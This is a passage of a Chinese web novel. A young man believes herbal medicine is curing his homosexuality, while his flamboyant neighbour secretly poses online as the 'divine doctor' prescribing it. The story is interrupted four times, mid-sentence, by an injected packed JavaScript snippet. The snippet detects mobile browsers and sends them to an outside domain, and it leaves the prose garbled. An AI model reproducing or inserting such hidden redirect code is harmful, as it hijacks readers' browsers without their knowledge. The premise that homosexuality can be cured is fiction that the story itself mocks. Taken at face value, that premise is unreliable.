但还是耿耿于怀:“什么叫她和你不是一个世界的人?她不是人?” 闻根:“不是。” “我的意思是,我非常普通,平平无奇和所有普通人一样,但她不是。” “不是因为她中俄混血超大只长得漂亮还很厉害,是……” “反正她就是和其他人不一样,她在人群里像是会发光的,蝴蝶一样,但我是灰扑扑的工蚁。” 不。 你是个瞎了眼的死鱼。 阕开霁内心吐槽,蓝灰色眼睛却把这几句话来回看着。 心脏好像都被小工蚁拧了一把,麻麻涨涨的,又像是被鱼兜头泼了一尾巴的水,湿漉漉的泡软了。 还蝴蝶一样会发光。 你明明瞎眼到分不清是男是女。 阕开霁打字:“超大只是多大只?你上次说有喉结的也是她吧?” 闻根:“大概一米九吧……我才到她耳朵哪里。基因真的好优越。” 又纠正,“女生没有喉结,那是甲状软骨。” 阕开霁:“……” 用邻居马甲验明正身失败,好在平凡小闻都和神医说了,他试图纠正,“但她一米九还有喉结,有没有一种可能,她是个男的。” 闻根没想到神医会有这样的误会,飞快打字:“不是,她超漂亮的,每天都香喷喷打扮得很好看,还爱吃甜品,就是女生!” 阕开霁:“漂亮只是主观审美,身上香香的爱吃甜爱打扮只是个人审美口味,但身高一米九还有喉结,绝对是男的。” 绝对不可能是男的! 闻根绝对不接受这个可能!自己因为梦到Qamar觉得自己是男同已经够绝望了,但自己已经喝中药调理这么久了,同性恋就算没完全根治也好了一大半,那自己喜欢的邻居一定是男的! 而且,他还有证据! 只是对方神医是个男人,和陌生男人谈论女生身材不太好,闻根没好意思说最让自己坚信不疑的理由。 他坚持:“绝对是女人。” 阕开霁:“但客观上,他一米九还有喉结,你真没怀疑过吗?” “我怀疑过。” 闻根语气短暂平淡下去,几经犹豫,最后还是红着脸打字,“但她有胸啊。” 阕开霁:“……” 他下意识低头看。 胸? 什么胸? 谁有胸? 你说的是我每天坚持举铁练出来的胸肌吗? 闻根觉得这实在是太不好了,消息发出去后,飞快撤回那句“但她有胸啊”,只坚持:“反正就是女孩子。” 阕开霁无话可说。 但闻根急于翻篇,转移话题:“她这么优秀,喜欢的男生应该也是很优秀的那种。” 阕开霁:“……” 有没有一种可能,我也压根不喜欢男人。 这句话打到一半,他又忍不住看对面平凡小闻头像上那双死鱼眼,想到中午吃饭时他看向自己时的波澜,想到他平凡普通的生活,甚至想他家里那副十字绣。 自己……现在是还不喜欢男人吧。 ? = 神医没再回消息,可能是有病人在忙。闻根也就没再打扰他,把家里收拾了一番,消磨时间。 但实则心不在焉,脑子里一再回味今天和阕开霁相处的每一刻。 又想到那家首饰店的主题是梁祝,说什么“从此我不敢看观音” 闻根搜了下这句的典故。 是黄梅戏梁山伯与祝英台的戏词。 祝英台女扮男装和梁山伯同窗读书,梁山伯问祝英台不是女儿身为何又耳环痕。祝英台解释自己酬神时扮观音,反问梁山伯读书为何不专心,不想前程想钗裙。 梁山伯说,从此我不敢看观音。 闻根看了戏词,又把整出戏听了一遍。 为梁祝爱情悲剧怅然若失外,莫名更坚定了。 祝英台女扮男装混进书院读书。 阕开霁一定是女生。 他把这个结论告诉神医。 神医很快回了他:“……” “这两者有任何联系吗?推理逻辑链呢?” 闻根:“这很好的解释了她为什么不穿裙子又有耳洞。” 健了身洗完澡,现在散着湿漉漉的头发,思考等会儿喝哪瓶酒的阕开霁突然觉得酒精很无趣。 一点没有隔壁那个瞎了眼的死鱼有趣。 可怎么会呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716875|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他就是一个连兴趣爱好都没有的普通人,网名都叫平凡小闻的普通人,这么木这么呆。自己为什么觉得他有趣? 想不到。 就像他想不到闻根为什么对耳洞这么耿耿于怀?这么喜欢? 就这么想看带耳钉的样子? 神医又不回复了。闻根也没在意,只当他又忙起来了,只是想到梁祝爱情,再想到阕开霁说他有那样的蝴蝶耳饰,搜索一番,找到那家饰品店的官网。 他这才发现这个品牌好像还挺受欢迎的。没有代言人,商业图就是首饰,但底下很多好评。还有女生拍照片发上来。 小小的耳垂上,银色带水晶的蝴蝶耳钉。 闻根却想到阕开霁。 对方的耳朵很薄,皮肤也是白的,但就是太白了,白到透明,好像能看到皮肤下紫色的血管。 他那么多耳洞,是戴耳钉多一点,还是耳坠多一点? 这个品牌新款阕开霁已经有了,那他会不会其他其他款式的耳钉? 评价页有人说是在小红书上种的草。 闻根半知半解,点去小红书再次搜索耳饰品牌,挑了几个看起来不错的耳钉。 但刷了一会儿后,又抑制不住想到Qamar。 他其实已经好几天没再看对方主页了。在中药和邻居的双重治疗下,他真觉得自己快好了。 但现在看着小红书,还是情不自禁找到黑名单,看着里面唯一的那个用户,点进主页,手指在解除拉黑上悬了许久。 两个声音在他脑海里大声吵架。 一个无比严厉的谴责,用叉子狠狠戳他的脑袋,大吼你不要看了!再看你喝的那些中药就都没用了!你就接着当可悲的同性恋吧! 另一个无比温柔的劝解,轻柔抚摸他被戳疼的脑袋,循循善诱,看看也行,想看就看,你现在不是喜欢邻居吗?你已经调理好了,说不定看完之后发现自己没一点波动,而这就是最后一个关卡。 闻根耳根子软,觉得两个声音都有道理,根本不知道该怎么选择。 手机弹出新聊天框。 阕开霁:“在家吗?” 闻根飞快回复:“在的。” 阕开霁:“下午说带耳钉给你看,还想看吗?” 闻根瞪大眼,不可置信的把这句话看了好几遍,怀疑自己出现幻觉了。 平凡小闻又开始长久的“对方正在输入”。 阕开霁扫了眼首饰盒里的耳饰,拍照发过去,加多饵料。 鱼儿果然上钩了。 还有点颤颤巍巍不敢相信的问:“我吗?” 阕开霁:“除了你还有谁。” 闻根心脏都停了一下,什么同性恋什么Qamar都被忘到一边。 他打字,再三确定:“可以吗?” 阕开霁吹干头发换好睡衣,回复:“可以。你来我家吧。” 闻根看了看时间。 现在晚上九点。 这个时间……孤男寡女,不太好吧? 他脑子一片浆糊,不知道如何是好。 阕开霁却飞快后悔:“算了,我去你家吧。” “给我开门。” 12. 第 12 章 闻根捧着手机,好像捧着块随时会碎掉的玻璃。 他再三看阕开霁发给自己的消息,艰难找回理智。 来自己家? 还没分析出这四个字代表什么,门被敲响了。 闻根支棱一下,下意识起身开门。 门外,中午还一起吃饭的阕开霁站在门外。 他洗过澡,穿了件黑色带金织暗纹的睡袍。头发散下来,窝在睡袍领口处。腰间绳子系着睡袍,明明捂得严严实实什么都看不到,闻根却唰得红了脸。 阕开霁抱着个黑色匣子,自然迈步走进来。 平凡小闻家里的装修,比他想象中的还要更普通。 没有任何花里胡哨,就是刷了白墙装了吊灯,家居也不是非常昂贵的那种——可能因为闻根现在还没有结婚,大家默认会在结婚时重新买上女方更喜欢的家具。 但日常用具一应俱全,墙上挂着十字绣,阳台的高脚椅上有针织垫,窗台摆着着盆栽,盆栽里的植物有些枯萎泛黄。 注意到阕开霁在看窗台的盆栽,闻根不好意思,欲盖弥彰的拿起空空如也的水壶,作势浇水,实则解释:“这两天太阳太晒了。” 阕开霁看出他的紧张,却还是忍不住逗:“水壶里没水了。” 闻根好像这才发现水壶里没水了,晃了晃水壶,去卫生间接了水,认认真真给盆栽浇了水。 他结结巴巴吭吭呲呲,问阕开霁:“你要搬两盆回家养吗?” 阕开霁:“会开花吗?” 闻根:“不会。” 阕开霁忍不住笑了下:“不用了。” 就是个呆子。 喜欢一个人不求在一起,养植物也不求会开花。觉得自己是男同,一个劲的喝药,却这么执着于一定要调理好。 闻根给所有盆栽浇好水,把水壶放下,这才反应过来自己只顾着浇水,都还没有给阕开霁倒水。 又拿了杯子接水递过去。 阕开霁接过来,没喝,把水杯放在桌子上,非常自然坐下。 黑织金睡袍搭在腿上,中间自然分开缝隙——其实什么都没露,但闻根却紧张兮兮的,从一边找出毯子递过来。 毯子和高脚椅上的垫子一样,毛线织的,很热闹的花纹,大小刚刚够盖住腿。 阕开霁仔细看了毛毯针脚,然后把毯子放在一边,甚至刻意叉开腿。 闻根整个人都要冒烟了,眼神根本不敢往他这边看。 阕开霁没管他,自顾自打开匣子,给闻根看自己满满当当的耳饰,问:“带什么?” 匣子看起来不是很大,打开后足有六层,每一层里都是亮闪闪的耳饰。 果然是公主! 会用漂亮的首饰把自己打扮得很好看! 闻根完全被蛊惑,眼神虚虚扫过那些首饰,老实巴交:“不用……” 但死鱼眼里的闪烁暴露了他的真实想法。 阕开霁没说话。 闻根一句“不用”,尾音拉得很长很缓,又小声接上一句:“看你喜欢就好。” 阕开霁扫了他一眼。 闻根总觉得这一眼里有些说不出的嘲弄和纵容。但还没具体琢磨出是为什么,就看阕开霁抬手,修长手指捻起一对耳钉。 正是今天在商场他一眼挑中的蝴蝶耳钉。 闻根看他手指间的耳钉,也看他指节泛粉的修长手指。 不知道为什么,他总觉得这双手有点熟悉。 试图追溯这点熟悉感从何而来,脑海里闪过一些画面。 比如这只手拨弄锁骨上的项链。 如果这只手拿着手机对着镜子,另一只手撩开…… 画面吉光片羽般消散,在脑海深处湮灭,无影无踪。 倒是现在还坐在他身边的阕开霁,手指撩开深棕色头发,指腹摸着耳垂,细细摸索出耳洞位置,把耳钉叩进去。 闻根看他指尖在耳垂摩挲,看他透白耳垂下小蛇般蜿蜒的血管,看尖锐的银针穿过耳洞,蝴蝶耳钉钉在耳垂上,高洁翩跹。 阕开霁看过来,眼里几分得意。蓝灰色瞳孔像下过一场雨,一碧如洗。 闻根的呼吸骤然乱了。 带过蝴蝶耳钉后阕开霁又试着带了些其他样式的耳钉,还有坠着长流苏的耳坠。 银白色流苏和坠着的长羽毛和在头发里,棕和白的对比分外明显。 阕开霁很久没带过耳饰了,但看着现在闻根惊艳的表情,心情非常不错。 他又侧头,向闻根展示过耳坠,确定闻根看到,并且那双死鱼眼里也泛起明显波澜,这才心里暗爽得伸手去摸耳坠,问闻根:“还有什么想看的吗?” 蝴蝶公主戴过蝴蝶耳钉宝石耳钉,还有坠着各种美丽花样的耳坠,薄薄的耳垂现在被蹂躏得泛红甚至有些发肿。 闻根目不转睛得看着,自觉是庸庸碌碌的工蚁,结果有只美丽高贵的蝴蝶从它上空飞过,怜惜撒下花粉,他整个人都模糊了,完全不敢再提其他要求。 现在听到阕开霁的询问,连连摆手:“没有了。” 他已经非常满足了。 想做的事情做了,想要的反应也看到了,现在闻根说没有了,阕开霁也没再坚持,伸手摘耳坠。 闻根虽然性取向不是很明朗,但为人处世和生活细节上,妥妥的直男。 家里除了卫生间洗手池上有镜子,其他地方都没有镜子。 也多亏了阕开霁熟能生巧,自己摸索着就把耳钉戴上摘下来。 但这次出问题了。 耳坠太长了,长长的流苏和头发缠在一起,有那么几缕头发夹到流苏缝隙里。拉起耳坠时,头发也跟着飘起来。 阕开霁扫了一眼,发现也就是几根头发,一点不在意想直接把头发拽断。 手却被拦了一下。 阕开霁顺着看过去,是闻根。 闻根一直在看,注意到阕开霁的头发缠在耳坠上,也注意到阕开霁冷酷无情直接往外拽的动作,脑子还没完全反应过来,手就像是有自己的想法,把人拦了下来。 但拦下来后,注意到阙开霁的眼神,和手下手腕皮肤的温度、皮肉下坚硬的骨骼,好像这才意识到自己做了什么。 他快速收回手,结结巴巴:“别拽,我……我帮你解。” 阕开霁没说话,只眉毛稍微挑了下,表情看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716876|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些玩味——闻根觉得是这样,又觉得可能是自己一只小工蚁胆大包天摸到蝴蝶翅膀,哪怕蝴蝶不在意,自己也因为心虚觉得蝴蝶可能会觉得自己自不量力。 但蝴蝶纵容的松了手,甚至微微侧头,把耳朵偏过来。 耳垂确实肿了,泛着粉,好像一粒石榴籽。 闻根根本不敢呼吸,生怕气息重一点,石榴籽表皮就会破开,汁水迸溅出来。 他觉得身上很热,甚至怀疑自己在出汗,但一点不敢露怯,一手拿着耳坠,另一手颤颤巍巍哆哆嗦嗦的摸上阕开霁的头发。 深棕色头发,没有那么软,丝滑微凉,在手指间划过,好像一捧凉水顺着指缝滑下去。 离得太近,闻根甚至闻到阕开霁身上的味道,不只是以往一贯的甜桃味,还有说不出来的香甜味道。从头发里、睡袍上、和睡袍下白皙的肌肤里透出来,蒸笼般严严实实把闻根困在里面。 他有种缺氧般的窒息。 捻着耳垂小心翼翼把耳钉取下来,再一点点拉开卡在流苏上的头发。 闻根做这些事的时候,阕开霁侧目看他。 平凡小闻那双死鱼眼里少有的紧张和认真,黑框眼镜滑下去些,露出浓黑的眉毛和长睫毛,此刻近在咫尺,紧紧盯着自己的头发,好像那是什么极珍贵的东西。 阕开霁目光扫了一圈又一圈,看他眼下那颗泪痣,看他因为抬胳膊而格外明显的脖颈线条,也看他睡衣下白斩鸡一样的细狗身材。 就是个很普通的人。 也应该过着很普通的生活。 ——闻根终于把耳坠摘下来,没有损失一根头发。 他把耳坠攥在掌心里,轻轻抚平被流苏弄乱的头发。 从肩膀往下捋。 头发捋顺了,才意识到自己做了什么。 手下是顺滑的头发,头发下面是黑织金睡袍 ,而睡袍下,手心和胸口那处起伏严丝合缝的贴着,柔软、甚至能感觉到心脏跳动。 闻根整个人都要冒烟了,慌张收回手掌,连连道歉:“不好意思不好意思。” 因为慌张,手心攥得很近,耳坠的针扎在手心,有些疼。 他反应过来,把手心里的耳坠递过去:“这个,放到盒子里。” 阕开霁看他的手心。 白,指腹有薄茧,手心有被耳坠硌出来的红痕。 但重要的也不是被硌出来的红痕,而是食指因为长期握笔写字,骨节都弯了,看上去格外滚圆幼稚,跟蚂蚁触角似的。 他捻起耳坠,指腹不经意间擦过闻根手心里被硌出的红痕,没多停留就收回来,把耳坠放到盒子里:“嗯。” = 阕开霁走了。 闻根还坐在沙发上,失了魂般,目光呆滞脑袋一片空白。 手心好像还残留着被蝴蝶翅膀扫过的触感,酥麻微痒。 他什么都想不了,只脑海里一个声音格外喧嚣。 自己就是调理好了。 自己就是喜欢新邻居。 一见钟情神魂予授。 他被吸引所有目光,像工蚁不知倦怠的仰望空中翩翩起舞的蝴蝶,甘愿沉入梦幻迷境。 13. 第 13 章 闻根这一疗程的中药又喝完了。 他非常诚恳告诉中医世家继承人:“神医,我真的完全调理好了。我现在非常确定我就是喜欢新邻居。所以就先停药吧。” “谢谢这段时间你的尽心,和对我的帮助鼓励。如果你有时间,我请你吃饭吧!” 收到消息的阕开霁:“……” “不用了,你觉得调理好了就是调理好了吧。” “如果还有什么需要,也可以随时联系我。” 闻根羞赧:“神医,你知道怎么追女生吗?” 阕开霁:“……” 不是,你确定那是女生? 他礼貌:“不知道。” 闻根有些失落,但还是表达了感谢。 明明和阕开霁相处时会有情绪起伏,现在和中药世家继承人相处时却还是个呆子。 阕开霁忍不住啧一声,挑剔,谴责:“你不是说没想在一起吗。” 闻根窘迫:“你不是说试试吗。” 阕开霁托着下巴想了一会儿,又好像什么都没想。 他打字:“但你们也不是一个世界的人,你是个脚踏实地好好生活的普通人,她看起来和你完全不一样。” 闻根:“我知道,我是一个很无趣的人……” 阕开霁:“我不是说你无趣。你那样才是最正常的生活。” 父母健在家庭和睦,无病无灾没什么心理阴影,读不错的大学得到不错的工作,生活得很具象,就和他的名字一样,是扎根在泥土里的根茎,不声不响,但拥有旺盛的生命力。 原来在神医眼里,自己是个正常人吗? 他知道自己是个同性恋,知道自己喝中药调理,知道自己喜欢上一个那么优秀的女生并且不自量力也不会和女生相处,但依旧觉得自己是个正常人。 闻根心里充满感激:“你是个好人。” 莫名被发了好人卡的阕开霁:“……” 好一段鸡同鸭讲的对话。 但闻根没意识到他的无语,接着问:“你最近是不是清闲下来了?” 阕开霁:“嗯。” “是病人变少了吗?” “嗯。” 闻根点开小红书——他现在满脑子都是邻居,终于摆脱了一点开小红书就想刷Qamar主页的诅咒。截了自己最开始发布的那条求助图文的后台,着重强调十几万的浏览量。 他把这张照片发给阕开霁:“这条图文这么多人看过,很多人和我有一样的困扰。现在我都调理好了,我想写个调理心得发上去,把你给我开的药方也发上去,给和我有同样需求的人用作参考。行吗?” 阕开霁:“……不行。” 你调理了个鬼啊!还调理心得,你只要一把药方发上去,就会有广东IP的人发现,那都是些清热去火的凉茶。 闻根补充:“我知道,你开方子都是因病制宜对症下药,我能不能艾特你,让他们知道我是喝你的药好起来的,这样你的生意也会好一点。” 阕开霁:“你真是一个贴心的小聪明。” 闻根:“你答应了?” 阕开霁好像都能想到,如果自己和他面对面交流,那双死鱼眼现在会是什么样子的——依旧是死鱼,但会泛着点刻意挤出来的亮光,有种很诡异的僵硬感,跟有了思想笨拙学习人类反应的木偶一样,不太聪明。 “不用。” 阕开霁坚持自己中药世家继承人的人设,“网上看诊也不是办法。并不是所有人都和你一样……” 这么好骗这么呆。 = 虽然中药世家继承人拒绝了闻根把他写到文案上帮他宣传精妙医术和善良大方性情的建议。但闻根还是把自己这一个多月来的中药调理日记整理一下,编辑了条长图文,发布出去。 “男,二十五岁,我是怎样靠喝中药调理好同性恋的。” 毕竟邻居喜欢首饰喜欢穿搭,他觉得邻居也会很喜欢小红书这个平台。 所以在图文里,他并没有太着重强调邻居的美丽高贵、还有那些可爱矜贵的小动作,怕邻居不小心刷到后会认出自己,发现自己之前是个同性恋,对自己有恶感。 所以只是大肆夸赞了无私给予自己帮助的神医,然后在最后,像把宝贝展示给所有人的收藏家,一方面想让所有人知道攒的宝贝有多好,一方面怕宝贝知道自己的心思,又怕别人也会喜欢上自己的宝贝,而自己又没什么优势,只能任由宝贝被抢走。如此复杂的情绪让他没有大张旗鼓描述心仪女生的优秀,他含糊其辞说自己调理好了,现在真的喜欢上了女生。 发出去后,他也没在意后续,看时间很晚了,就把手机扔到一边,睡了。 然后做梦梦到阕开霁了。 闻根一开始没意识到这是梦,甚至没意识到自己睡着了。以为还是晚上,自己坐在沙发上,阕开霁穿着黑织金的睡袍,耳垂上带着长长的流苏耳坠。 头发缠在流苏上,自己小心翼翼帮阕开霁摘下耳环,手指捻着那颗粉软耳垂,手心攥着阕开霁的发丝。 他感觉到阕开霁在看自己,重心不稳手心按在阕开霁肩膀上。 流苏耳坠掉在沙发上,却没人有精力关心耳坠了。自己像个木头人一样无法控制自己的手,阕开霁却像是洋娃娃般柔弱,顺着自己肩膀上轻微的力道往后到,栽在他的沙发上,头发散开。 黑织金睡袍散开了,肩膀和胸膛漏出来。 工蚁终于触摸到蝴蝶绚丽梦幻的翅膀,却没想到蝴蝶漂亮的翅膀和华丽的色彩蕴□□性。工蚁被麻痹,失去辨别能力,只能依靠本能,指挥着步行足跌跌撞撞原地打转。 睡袍系带被笨手笨脚的工蚁弄乱,睡袍散开,顺着肩膀和胸膛往下滑。 工蚁不知死活,还是要伸手去摸蝴蝶翅膀。 柔软坚韧,很热,不知道什么时候出了汗,汗津津湿漉漉的打湿他的手心,却显得皮肤更加软滑,工蚁都没办法稳住自己的手,只感觉到自己不停往下。他费了很大力气才把自己的手接着放在肩膀上,但很快又滑下去,顺着背肌往下滑。 然后…… 他看到脊背上那两只蓝色的蝴蝶。 一大一小,泛着琳琳闪光,在白到透明的后背皮肤上,活过来一样,扑闪着翅膀,撒下粼粼蓝光。 这是…… Qamar。 闻根一下就醒了。 = 阕开霁回去后喝了点酒。 他经常觉得现在的生活有种错位般的诡吊和无聊,需要酒精和运动分泌多巴胺,催眠自己勉强得到快乐,勉强不去深思。但最近这段时间酒精也没用了。 很……廉价的刺激,身体接受了,大脑不能接受这种敷衍。 于是他又想到平凡小闻的头像,想到那双死鱼眼。 像他这种死鱼,不会觉得生活很无趣吗? 阕开霁拿出手机。 发现平凡小闻刚刚给自己发消息了。 “神医,我觉得我还需要开点药。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716877|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>消息是十分钟前发过来的。 而现在,是凌晨一点。 明天是工作日,以往这时候,平凡小闻都睡着两小时了。 他又搞到什么幺蛾子了? 阕开霁发消息:“为什么?” “你不是调理好了吗?” 平凡小闻开始“对方正在输入”,很长久。 阕开霁脑子嗡了一声,下意识查看自己的账号。 没用错,就是中药世家继承人的号。 没掉马。 松了口气,看到平凡小闻的消息。 支支吾吾的:“我觉得还需要再调理一下。” 阕开霁不爽他眼瞎把自己当成女的,非说自己调理好了口口声声说要和邻居在一起。 但现在听他说可能还需要在调理一下,脑子自动翻译——他对邻居还没有那么喜欢。 反而更不爽了。 他冷酷:“别喝了,没救了。” 又忍不住,“为什么又觉得还需要再调理一下?你背地里去看男人了?” 闻根冤枉:“我一直在家。” 总不能说自己那个尺度很大剧情又很离奇的梦境,他含糊说,“反正就是觉得,不是很安心,我再调理一下吧。” “都喝两个疗程了,调理不好就是调理不好。干嘛非要调理好,喜欢男人就喜欢男人,你都愿意去追求和你不是一个世界的邻居了,干嘛不尝试遵从本能和男人在一起。” 闻根愣一下,缓缓打字:“我就是个普通人。” “普通人就是要喜欢异性,结婚生子过普通日子啊。” 那你倒是喜欢异性去啊。 阕开霁:“等三十岁自动变直吧。” 这句话神医之前也说过,在自己上一条图文的评论区也出现过,闻根之前只觉得自己现在才二十五岁,能赶快调理正常人就赶快调理好。现在可能是太晚了,也可能是刚刚那个梦给他的打击太大,他忍不住问:“为什么?这是什么原理?” 阕开霁:“原理就是,就算是同性恋,也会在三十岁的时候假装自己变直了,隐瞒性向和女人结婚生孩子。” 闻根:“……” “这样不好。” “当然不好。但你执着于变直的话也可以假装自己变直了。” “但我是个同性恋,却和女人生孩子,这样很不好。” “我想当个普通人,不是道德败坏的骗子。” “我想彻底调理好了,真的喜欢女人了,再去追喜欢的女生。” 阕开霁:“……” 他找准漏洞,不知为何有点说不出的恼怒,“所以你其实并不喜欢邻居吧,喜欢邻居的话就是调理好了。” 闻根想到邻居,脑海里闪过很多画面,心脏依旧跳得很快,但后来最后一个画面就是梦里,邻居背后的蝴蝶纹身,那个Qamar身上的纹身。 明明自己没看过邻居的背,也没看过Qamar的脸,怎么会把这两个人糅合到一起去,还做了这么诡异的梦。 闻根觉得自己实在是太坏了。 很对不起邻居。 除了心动外还有点内疚:“我也说不清楚了。” 呵,男人。 既眼瞎还心思多变。 看到脸就说喜欢,装得深情款款,晚上看着自己带耳坠还一副痴汉样。 结果这才四个小时,又开始说不清楚了。 阕开霁心里闷得慌,他拿起桌上的酒瓶,倒了满满一杯酒,一饮而尽。 14. 第 14 章 神医坚持拒绝给他开药。 闻根不明白为什么,但再三央求也没求得新药方,只得作罢。 在内疚和说不清道不明的心烦意乱中,他三点多才睡过去。 第二天早上依旧早早起床,吃完饭去上班。 脑子有点不清醒,但对邻居的内疚浓烈而清晰。 他默默在小区外面的甜品店买了个核桃包,又买了豆浆牛奶,在小区外面转了两圈,最后毅然决然重新上楼,把东西放在邻居家门口。 怕同楼层其他人走过路过会踢到,或者不经意间弄脏了食物,他还又回家找袋子装起来,把袋子挂在自己家门口的把手上。然后拍照发给阕开霁,很艰难的斟酌语气,最后不好意思说:“我给你买了早餐,是你说喜欢的那个核桃包。” “怕放在你家门口会弄脏,挂在我家门把手上了。你不嫌弃的话可以拿去吃。” 阕开霁一直没回他。 但闻根记得他说自己是自由职业,没固定的上班时间,可能现在还在睡。也就没在意,急忙上班去了。 处理投诉,做了个简单的宣传海报。 主任挑了几个刺,让他把图的字体比例调整一下,闻根就一遍遍改,好几次后主任终于松口,敲定了宣传海报,又让他编辑个文案,发到小红书上做宣传。 ——这一个月闻根一直在管理小红书官号,绞尽脑汁编辑文案,把活动和工作成绩就发到上面。但点赞者寥寥,除了单位的几个人,和单位家属,野生点赞从不超过十。 虽然官方账号也不非纠结流量,但他们毕竟也是为了宣传,总希望能有更多人看到他们,而定义会被多少人看到的,就是浏览量和点赞量。 李主任有点发愁,让闻根多了解了解年轻人的喜好,尽量往年轻方向靠拢。 闻根也没什么头绪。听李主任这么安排,只好打开小红书,不知道第多少次试图了解年轻人的喜好。 然后他发现——自己昨天晚上发的那条图文又爆了。 才短短一天,浏览量已经十万了。点赞和评论消息多得让他的手机都卡了一下。 甚至因为这条图文爆了,他上一条图文的浏览量也跟着又涨了五万。 …… 看来确实很多人有着和自己一样的困扰,而自己的分享帮助到他们,流量才这么大。 昨天发布的时候觉得如果能帮助到他们就好了,但现在闻根异常心虚——自己根本没有调理好,却这么大言不惭的误导其他人。 但已经有这么多人看到了,闻根不知道如何是好,点开评论,想解释一下纠正自己的错误。 热评第一是一张截图,具体评论是:“宝宝你怎么不艾特神医啊,幸好我找到了。喏,上条图文热评第一,就是这条图文里不求回报无怨无悔的神医@AAA中药世家继承人。” 点开截图,就是上次中药世家继承人在自己评论区的评论。这条评论点赞有三万三。 热评第二是一张红底图片,上面几个黑色大字:“请你们速速结婚。” 这条评论点赞也有三万。 热评第三:“真正的神医,是在调理不好的时候,做你的女人。” 这条评论点赞有才九千多,但这条评论底下有条回复:“磕反了姐,真正的神医,是在你调理不好的时候,让你做他的女人。” 这条回复的点赞有三万。 再往下翻。 “博主声称:我调理好了。实际上:提起女生一句话带过,提起神医词藻堆砌夸得天上有地上无。博主,骗骗自己就行了,别想把我们慧眼如注的群众也骗过去。” “神医:momo觉得自己生病了,给他喂点春药,希望他赶紧好起来。” 闻根有点看不懂具体含义。 但大致是明白了——他们都不信自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716878|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调理好了。 不信就不信,反正自己好像确实也没完全调理好。没误导其他人就算了。 就是……他们是在怀疑自己和神医有什么吗? 但自己和神医真没什么,而且神医都说了,他不是男同。神医如果发现这么多人误会他的性向,大概会不开心。 而且说不定会影响自己和神医的关系。 闻根找了找,重新编辑图文,在最后加上解释:“神医不是男同,我只是觉得他给了我很多帮助。大家不要再说那种话了,我们都会很苦恼的。” 编辑后重新发布。 觉得大概过一会儿其他人刷到自己的解释,就不会再误会了。他把手机放在一边,重新编辑官号上的图文。 为什么自己的号随便发什么都这么多人看,但官号就是没数据呢? 他百思不得其解,花费了比昨天晚上发调理心得无数遍的心思,艰难编辑出文案,修改无数遍。 中间忍不住拿出手机,想看看自己号上的图文到底是什么原因才有这么多点赞。 拿起手机一看,小红书的消息又99加了。 他点开。 “神医:患者最近很苦恼,可能是病了,喂点春药,希望他赶快好起来。” “经常苦恼可能是忧思过重,可以针灸治疗一下的。这样,你找神医,他一定会。就是针可能粗一点。emmm,大概保温杯那么粗。” “momo好,你们都坏,不要再逗momo了!我支持momo,不要讳疾忌医,一定要听神医的话,吃了药好好针灸啊!” “感觉momo是那种神医插进去他都会真情实感觉得神医在给他调理的人,说不定还会说谢谢。” “咦!好呆好笨!支持神医查他学历。” “神医的医术确实高明,但我只能打九十六分,差四博主满分。” 闻根:“……” 15. 第 15 章 单位依旧那样,窗户老旧,阳光照过来,洒下很亮眼的金黄色光斑,空气里有飘着的尘埃,同事们的交谈声、中央空调运作的声音一起传到耳朵里。 闻根默默往下翻评论,试图找到自己想看到的句子。 没找到。 他退出小红书,开始思考要不要把这条图文删掉。 自己根本没有调理好,也没人觉得自己的调理心得对他们有帮助,还不小心把神医也牵扯进来了。 他给神医发消息,说明前因后果,就把他牵扯进来这件事真诚道歉。 但神医没回他。 闻根有点紧张,总担心神医会不会是已经看到了,因为生自己气才不理自己的。 又觉得可能神医现在在忙可能没时间看手机,但等到有时间看手机时一定会看到那些污言秽语。 闻根索性把这条图文删掉了。 想了又想,把自己默认的ID“momo”改成了“不是深柜我真的崆峒” 做完这一切,他尽量让自己不要想这些事,接着编辑官方账号的文案,写出来后先发给主任过目,等主任确定可以发,这才发出去。 做完这一切已经中午了。 闻根去食堂吃饭。 上次说要给他介绍自家外甥女的大姐坐在他对面,没说两句话又把话题转到家长里短鸡毛蒜皮:“小闻,找到女朋友了没?” 